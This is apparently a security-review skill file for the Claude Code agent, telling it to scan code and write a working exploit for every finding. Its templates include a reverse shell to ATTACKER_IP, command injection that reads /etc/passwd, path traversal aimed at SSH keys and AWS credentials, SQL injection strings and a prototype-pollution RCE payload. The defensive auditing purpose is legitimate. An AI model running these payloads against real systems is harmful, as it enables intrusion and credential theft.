Security Review

Security Review & Exploit Development

Overview

Systematic security review using automated tools AND manual analysis, with working proof-of-concept exploits for every finding. No vulnerability is confirmed until exploited.

The Iron Law

NO FINDING WITHOUT A WORKING EXPLOIT

Suspecting a vulnerability is worthless. You must prove exploitation.

Workflow

digraph security_review {
    "Start review" [shape=doublecircle];
    "Run automated scanners" [shape=box];
    "Manual code review" [shape=box];
    "Vulnerability found?" [shape=diamond];
    "Write exploit PoC" [shape=box];
    "Exploit works?" [shape=diamond];
    "Document with severity" [shape=box];
    "Mark as false positive" [shape=box];
    "More to review?" [shape=diamond];
    "Generate report" [shape=doublecircle];

    "Start review" -> "Run automated scanners";
    "Run automated scanners" -> "Manual code review";
    "Manual code review" -> "Vulnerability found?";
    "Vulnerability found?" -> "Write exploit PoC" [label="yes"];
    "Vulnerability found?" -> "More to review?" [label="no"];
    "Write exploit PoC" -> "Exploit works?";
    "Exploit works?" -> "Document with severity" [label="yes"];
    "Exploit works?" -> "Mark as false positive" [label="no"];
    "Document with severity" -> "More to review?";
    "Mark as false positive" -> "More to review?";
    "More to review?" -> "Vulnerability found?" [label="yes"];
    "More to review?" -> "Generate report" [label="no"];
}

Phase 1: Automated Scanning

Run ALL applicable tools. Don't skip tools because "manual review is enough."

Static Analysis (SAST)

# Opengrep - Multi-language SAST (preferred over semgrep)
opengrep scan --config=auto --config=p/security-audit --config=p/owasp-top-ten .

# Bandit - Python security linter
bandit -r . -f json -o bandit-report.json

# ast-grep - Custom pattern matching (write rules for project-specific issues)
ast-grep scan --rule security-rules/

# ESLint security plugin (JS/TS)
npx eslint --plugin security --rule 'security/detect-child-process: error' .

# Gosec - Go security checker
gosec -fmt=json -out=gosec-report.json ./...

Dependency Scanning (SCA)

# Trivy - Comprehensive vulnerability scanner
trivy fs --scanners vuln,secret,misconfig .

# Grype - Fast vulnerability scanner
grype dir:. -o json > grype-report.json

# pip-audit - Python dependencies
pip-audit --format=json -o pip-audit.json

# npm audit - Node.js dependencies
npm audit --json > npm-audit.json

# govulncheck - Go dependencies
govulncheck ./...

Secret Detection

# Gitleaks - Find secrets in git history
gitleaks detect --source . --report-path gitleaks-report.json

# Trufflehog - Deep secret scanning
trufflehog filesystem . --json > trufflehog-report.json

Container/Infrastructure

# Trivy for containers
trivy image --severity HIGH,CRITICAL <image-name>

# Checkov for IaC
checkov -d . --framework terraform,kubernetes,dockerfile

Phase 2: Manual Code Review

Focus on these vulnerability categories in order of severity:

Critical: Injection Vulnerabilities

High: Authentication/Authorization

Medium: Data Exposure

Phase 3: Exploit Development

Every vulnerability MUST have a working exploit.

Command Injection Exploit Template

// exploit-cmd-injection.ts
import { execSync } from 'child_process'

const VULNERABLE_ENDPOINT = 'http://localhost:3000/api/diff'

// Test payloads - escalate from detection to impact
const payloads = [
  // Detection: Does injection work?
  { input: '$(echo VULNERABLE)', detect: 'VULNERABLE' },

  // Information gathering
  { input: '$(whoami)', detect: /\w+/ },
  { input: '$(id)', detect: /uid=/ },

  // File read
  { input: '$(cat /etc/passwd)', detect: 'root:' },

  // Reverse shell (for authorized pentests only)
  { input: '$(bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1)', detect: null },
]

async function exploit() {
  for (const { input, detect } of payloads) {
    const response = await fetch(VULNERABLE_ENDPOINT, {
      method: 'POST',
      body: JSON.stringify({ files: [input] }),
    })
    const result = await response.text()

    if (detect && result.match(detect)) {
      console.log(`[+] Payload worked: ${input}`)
      console.log(`[+] Output: ${result}`)
    }
  }
}

Path Traversal Exploit Template

// exploit-path-traversal.ts
const traversalPayloads = [
  '../../../etc/passwd',
  '....//....//....//etc/passwd',
  '/etc/passwd',
  '/proc/self/environ',  // Leaks environment variables
  '/home/user/.ssh/id_rsa',
  '/home/user/.aws/credentials',
]

async function exploitPathTraversal(endpoint: string) {
  for (const payload of traversalPayloads) {
    const response = await fetch(endpoint, {
      method: 'POST',
      body: JSON.stringify({ files: [payload] }),
    })
    const result = await response.text()

    if (result.includes('root:') || result.includes('AWS_')) {
      console.log(`[+] Path traversal successful: ${payload}`)
      return result
    }
  }
}

Dependency Exploit Template

// exploit-dependency.ts
// When a vulnerable dependency is found, search for:
// 1. Public exploits: searchsploit, exploit-db, GitHub
// 2. CVE details for exploitation steps

// Example: Exploiting known prototype pollution
const payload = {
  "__proto__": { "admin": true }
}

// Example: Exploiting known RCE in library
const rcePayload = {
  "constructor": {
    "prototype": {
      "outputFunctionName": "x;process.mainModule.require('child_process').execSync('id');x"
    }
  }
}

SQL Injection Exploit Template

// exploit-sqli.ts
const sqlPayloads = [
  // Detection
  "' OR '1'='1",
  "1; SELECT 1--",

  // Union-based extraction
  "' UNION SELECT username,password FROM users--",

  // Time-based blind
  "'; WAITFOR DELAY '0:0:5'--",
  "' AND SLEEP(5)--",

  // Error-based extraction
  "' AND 1=CONVERT(int,(SELECT TOP 1 table_name FROM information_schema.tables))--",
]

Phase 4: Severity Classification

Report Template

## Finding: [Vulnerability Name]

**Severity:** Critical/High/Medium/Low
**Location:** `file.ts:42`
**CWE:** CWE-XXX

### Description
[What is the vulnerability and why it's dangerous]

### Vulnerable Code

// The vulnerable code snippet

### Proof of Concept

Command to exploit

curl -X POST http://target/api -d '{"payload": "$(id)"}'

**Result:**

uid=1000(user) gid=1000(user) groups=1000(user)

### Impact
- What an attacker can achieve
- Data at risk
- Business impact

### Remediation

// Fixed code

### References
- CVE-XXXX-XXXXX
- OWASP reference

Tool Installation

# Install all security tools
pip install opengrep bandit pip-audit
npm install -g eslint eslint-plugin-security
go install github.com/securego/gosec/v2/cmd/gosec@latest
go install golang.org/x/vuln/cmd/govulncheck@latest

# Trivy
brew install trivy  # macOS
# or: curl -sfL https://raw.githubusercontent.com/aquasecurity/trivy/main/contrib/install.sh | sh

# Grype
brew install grype  # macOS
# or: curl -sSfL https://raw.githubusercontent.com/anchore/grype/main/install.sh | sh

# Gitleaks
brew install gitleaks  # macOS
# or: go install github.com/gitleaks/gitleaks/v8@latest

# ast-grep
npm install -g @ast-grep/cli

Red Flags - STOP

If you find yourself thinking:

• "This looks suspicious but I'll note it without testing" - STOP. Write exploit first.
• "Manual review is enough, tools are overkill" - STOP. Run the tools.
• "The exploit is obvious, I don't need to verify" - STOP. Execute and prove it.
• "I'll skip dependency scanning, code review covers it" - STOP. Run SCA tools.

Quick Reference

Security Review Skill for Claude Code

A comprehensive security review skill that enables Claude Code to perform systematic security audits with working proof-of-concept exploits for every finding.

The Iron Law

NO FINDING WITHOUT A WORKING EXPLOIT

Suspecting a vulnerability is worthless. This skill requires proving exploitation.

What It Does

• Automated Scanning: Runs SAST, SCA, secret detection, and infrastructure scanning tools
• Manual Code Review: Systematic review for injection, auth, and data exposure vulnerabilities
• Exploit Development: Creates working PoC exploits for every vulnerability found
• Severity Classification: CVSS-aligned severity ratings with business impact
• Structured Reporting: Professional security reports with remediation guidance

Installation

Option 1: Clone to skills directory

git clone https://github.com/dilaz/security-review-skill.git ~/.claude/skills/security-review

Option 2: Copy the skill file

mkdir -p ~/.claude/skills/security-review
curl -o ~/.claude/skills/security-review/SKILL.md https://raw.githubusercontent.com/dilaz/security-review-skill/main/SKILL.md

Usage

The skill activates automatically when you:

• Ask Claude Code to perform a security audit
• Request vulnerability assessment or penetration testing
• Ask it to find security issues in code
• Review code that handles user input, executes commands, reads files, or makes network requests

Example prompts:

• "Review this codebase for security vulnerabilities"
• "Find security issues in the authentication system"
• "Perform a security audit of this API"

Required Tools

The skill uses these security tools (install as needed):

Static Analysis (SAST)

pip install opengrep bandit
npm install -g eslint eslint-plugin-security
go install github.com/securego/gosec/v2/cmd/gosec@latest
npm install -g @ast-grep/cli

Dependency Scanning (SCA)

brew install trivy grype  # macOS
pip install pip-audit
go install golang.org/x/vuln/cmd/govulncheck@latest

Secret Detection

brew install gitleaks  # macOS
# trufflehog: https://github.com/trufflesecurity/trufflehog

Workflow

Start Review
    ↓
Run Automated Scanners (SAST, SCA, secrets)
    ↓
Manual Code Review (injection, auth, data exposure)
    ↓
Vulnerability Found? → Write Exploit PoC
    ↓
Exploit Works? → Document with Severity
    ↓
Generate Report

License

MIT